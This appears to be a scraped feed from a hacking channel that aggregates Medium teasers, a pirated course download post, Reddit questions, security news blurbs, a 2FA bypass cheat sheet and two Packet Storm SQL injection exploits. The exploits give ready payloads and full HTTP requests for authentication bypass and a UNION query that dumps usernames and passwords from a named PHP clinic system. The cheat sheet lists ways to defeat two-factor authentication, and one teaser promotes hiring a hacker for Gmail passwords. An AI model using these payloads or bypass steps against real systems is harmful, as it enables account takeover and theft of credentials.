Hacking on Medium
What are the vulnerabilities in a database server and web server, and how do you mitigate it?

Vulnerabilities in web applications include a system error or a system weakness in a web application. They have been around for years…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hire a Hacker for Gmail Hacker.

https://cdn-images-1.medium.com/max/735/0*mQ3eaw-gzF9XXvOk.jpg
There are many reasons why it is important for businesses to hire a hacker for Gmail passwords.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack The Box —Netmon: Walkthrough (without Metasploit)

https://cdn-images-1.medium.com/max/600/1*B-N1UaDMoMlvUXYsiMFu7g.png
Hack The Box -Netmon: Walkthrough (without Metasploit) | Road to OSCP | Windows Easy Level | Misconfiguration | Netmon Remote Code…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Dark Web se carga con vacunas falsas Covid-19 y tarjetas falsificadas.

https://cdn-images-1.medium.com/max/881/0*2JgUrgusPzIt4ujJ
PUBLICADO EN 13 MAYO, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Course Club
[O’REILLY] Cloud Computing with Python Video Course

https://courseclub.me/wp-content/uploads/2021/04/784515412.jpg

https://courseclub.me/wp-content/uploads/2021/04/784515412.jpg
Get started with Cloud Computing in Python. Topics include: Multi-Cloud, Cloud Computing Service Models, Distributed Computing in the Cloud, Cloud Computing ETL Pipelines, Serverless Soutions with the Cloud, Containers in the Cloud, and Continuous Delivery for ML Engineers
Table of contents

1. “Multi Cloud Onboarding With Cloud Computing”
2. “Cloud Computing Service Models”
3. “Distributed Computing In The Cloud”
4. “Cloud Computing Build Etl Pipelines”
5. “Build Serverless Solutions With Cloud Computing”
6. “Containers In The Cloud”
7. “Continuous Delivery For Ml Engineering”
8.

Size: 2.94 GB

Download Now

https://www.oreilly.com/library/view/cloud-computing-with/60650VIDEOPAIML/.

The post [O’REILLY] Cloud Computing with Python Video Course appeared first on Course Club.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Nginxpwner : Tool To Look For Common Nginx Misconfigurations & Vulnerabilities

Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulnerabilities. Install cd /optgit clone https://github.com/stark0de/nginxpwnercd nginxpwnerchmod +x install.sh./install.sh Usage Target tab in Burp, select host, right click, copy all URLs in this host, copy to a filecat urllist | unfurl paths | cut -d”/” -f2-3 | sort -u > /tmp/pathlistOr get the […]

The post Nginxpwner : Tool To Look For Common Nginx Misconfigurations & Vulnerabilities appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

2FA Bypass techniques: ___________________ 1. Response Manipulation In response if "success":false Change it to "success":true 2. Status Code Manipulation If Status Code is 4xx Try to change it to 200 OK and see if it bypass restrictions 3. 2FA Code Leakage in Response Check the response of the 2FA Code Triggering Request to see if the code is leaked. 4.JS File Analysis Rare but some JS Files may contain info about the 2FA Code, worth giving a shot 5.2FA Code Reusability Same code can be reused 6.Lack of Brute-Force Protection Possible to brute-force any length 2FA Code 7.Missing 2FA Code Integrity Validation Code for any user account can be used to bypass the 2FA 8.CSRF on 2FA Disabling No CSRF Protection on disabling 2FA, also there is no auth confirmation 9. Password Reset Disable 2FA 2FA gets disabled on password change/email change 10.Backup Code Abuse Bypassing 2FA by abusing the Backup code feature Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA reset restrictions 11.Clickjacking on 2FA Disabling Page Iframing the 2FA Disabling page and social engineering victim to disable the 2FA 12.Iframing the 2FA Disabling page and social engineering victim to disable the 2FA If the session is already hijacked and there is a session timeout vulnerbility 13.Bypass 2FA with null or 000000 Enter the code 000000 or null to bypass 2FA protection. Steps:- 1. Enter “null” in 2FA code 2. Enter 000000 in 2FA code 3. Send empty code - Someone found this in grammarly 4. Open new tab in same browser and check if other API endpoints are accessible without entering 2FA 14.Google Authenticator Bypass Steps:- 1) Set-up Google Authenticator for 2FA 2) Now, 2FA is enabled 3) Go on password reset page and change your password 4) If you are website redirect you to your dashboard then 2FA (Google Authenticator) is bypassed 15. Bypassing OTP in registration forms by repeating the form submission multiple times using repeater Steps :- 1) Create an account with a non-existing phone number 2) Intercept the Request in BurpSuite 3) Send the request to the repeater and forward 4) Go to Repeater tab and change the non-existent phone number to your phone number 5) If you got an OTP to your phone, try using that OTP to register that non-existent number

@Hacking_Video

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Adapting to the Security Threat of Climate Change

Business continuity plans that address natural and manmade disasters can help turn a cataclysmic business event into a minor slowdown.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Defending the Castle: How World History Can Teach Cybersecurity a Lesson

Cybersecurity attackers follow the same principles practiced in warfare for millennia. They show up in unexpected places, seeking out portions of an organization's attack surface that are largely unmonitored and undefended.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Relation between teraflops and brute force

I would want to know if there is a way to calculate the time required for brute forcing 10 alphanumeric characters(62) related to the teraflops needed. As i can not find much useful resources I am asking directly here.

submitted by /u/7arbod
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Unblocking iphone12?

Can someone please help me unblocking an iphone12 that i found on the floor? Is this even possible without any acess to Itunes or Icloud?

submitted by /u/thatguy3333333
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Dental Clinic Appointment Reservation System 1.0 SQL Injection

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Dental Clinic Appointment Reservation System version 1.0 suffers from multiple remote SQL injection vulnerabilities with one of them allowing for authentication bypass.

MD5 | 590039c72fd98d00add5038df52eb7a0

Download
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# Attacker can bypass admin login page due to unsanitized user input and access internal contents
# vulnerable code in /admin/index.php, line 34:
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
# payload: admin' or '1' = '1 -- -

# Proof of concept:
http://localhost/admin/index.php

POST /admin/index.php HTTP/1.1
Host: localhost
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

username=admin'+or+'1'%3d1+--+-&password=test&submit=

------
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# the 'date' POST parameter is vulnerable to UNION-based SQL Injection
# Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc.
# payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- -

# Proof of concept:
http://localhost/admin/sort_date.php

POST /admin/sort_date.php HTTP/1.1
Host: localhost
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/sort_date.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video